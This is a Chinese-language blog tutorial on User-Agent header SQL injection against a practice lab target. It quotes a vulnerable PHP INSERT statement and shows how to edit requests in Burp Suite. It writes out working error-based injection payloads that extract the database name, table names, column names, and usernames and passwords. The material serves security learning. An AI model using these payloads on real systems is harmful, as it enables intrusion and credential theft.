35岁重学网络安全——SQL注入篇(二十)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:HTTP头部注入——User-agent注入

HTTP头部注入

在页面中找不到注入点时,可以尝试HTTP头注入。常见的注入位置

  • User-agent注入
  • referer注入
  • cookie注入

User-agent注入

User-Agent简称uagent,中文名为用户代理,简称UA,它是一个特殊字符串头,使服务器可以识别客户端使用的操作系统及其版本、CPU类型、浏览器及其版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

代码审计

古人有云:web安全三步走,一扫二审三放弃。 代码审计可以说是很重要的一步。

打开靶场18节的源码
在这里插入图片描述

看到第73行,对用户输入的用户名和密码进行检查。
在这里插入图片描述

对输入的用户名和密码进行检查的函数。具体检查了三个部分,如下图所示。如果对其中的某些函数不了解,可以自行查阅。
在这里插入图片描述

源码中sql语句部分,可以看到uagent没有做安全检查,直接插入到数据库中。
在这里插入图片描述

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

security.uagents表中插入数据

  • 此表含有三个字段:uagentip_addressusername
  • VALUE()中的三个参数为插入的值

靶场实战

打开Burp suite,抓取数据包,修改报文头中的user-agent字段的值。

需要输入一个正确的用户名和密码,然后单击提交按钮,Burp suite中可以看到截获的数据包。
在这里插入图片描述

Burp suitePRoxy选项卡,在数据包详细内容的空白处单击鼠标右键,然后选择将数据包发送到重发器(即Send to Repeater
在这里插入图片描述

Burp suite中切换到Repeater选项卡中,将User-Agent的内容进行修改。
在这里插入图片描述

在上面有说道,是insert语句中产生的注入,insert语句常常与报错注入结合在一起。
因此,这里使用报错注入。

User-Agent内容:' or extractValue(1,concat('^',(select database()))),2,3) #
在这里插入图片描述

简单说明一下为什么这么构造注入语句。

源代码中的insert语句如下:

在这里插入图片描述

VALUES ('$uagent', '$IP', $uname):括号内带以$符开头的三个参数,在PHP中表示变量,会被用户输入的内容所替换掉。

因此我们要修改VALUES()中的三个值,来实现报错注入。

  • $uagent的值设为',即VALUES(''','$IP', $uname),由于出现多余的单引号,会产生错误,因此使用注释符,即VALUES('' # ','$IP', $uname)#后面的内容无效,变为:VALUES('' #
  • 因为VALUES()需要三个参数,因此写为VALUES('',2,3) #,VALUES需要右括号闭合,因此#前面加上右括号。
  • ''后面跟上报错注入语句:or extractValue(1,concat('^',(select database())))
  • 最终构成:VALUES('' or extractValue(1,concat('^',(select database()))),2,3) #,也就是上面的' or extractValue(1,concat('^',(select database()))),2,3) #的由来。

查询数据表、列名和数据

同理,只要将上面语句中的select database()替换掉即可。

查询表名:' or extractValue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=(database())))),2,3) #
在这里插入图片描述

查询列名:' or extractValue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name='users'))),2,3) #
在这里插入图片描述

查询数据(报错注入只能显示32个字符,使用substr函数):
' or extractValue(1,concat('^',(select substr(group_concat(username,':',password),1,30) from users))),2,3) #
在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值